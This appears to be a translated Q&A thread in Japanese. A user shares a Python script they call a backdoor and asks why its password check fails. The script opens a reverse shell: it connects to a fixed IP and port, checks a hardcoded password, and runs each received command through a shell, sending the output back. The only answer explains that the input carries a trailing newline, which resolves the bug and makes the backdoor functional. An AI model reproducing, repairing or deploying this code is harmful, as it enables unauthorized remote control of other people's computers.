0

何らかの理由で、それは私の if ステートメントに入りません。

netcat 経由で接続してパスワードを入力すると、正しいパスワードを入力したにもかかわらず、else ステートメントにスキップします。

#i/usr/bin/python

import subprocess,socket

HOST = '192.168.1.104'
PORT = 25565
passwd = "gareth"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))
s.send('Connection established\n')

s.send("Enter Password: ")
pw = s.recv(1023)
if pw == passwd:
    s.send("Gareth's backdoor\n")

else:
    s.send("Wrong password\n")
    s.close()

while 1:
    data = s.recv(1023)
    if data == "quit": break

    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

    stdoutput = proc.stdout.read() + proc.stderr.read()

    s.send(stdoutput)

# exit the loop
s.send('Bye now.')
s.close()
4

1 に答える 1

0

garethを入力すると、新しい行も追加されたように見えます。したがって、比較する前にそのテールを削除する必要があります。

于 2013-06-29T00:33:45.657 に答える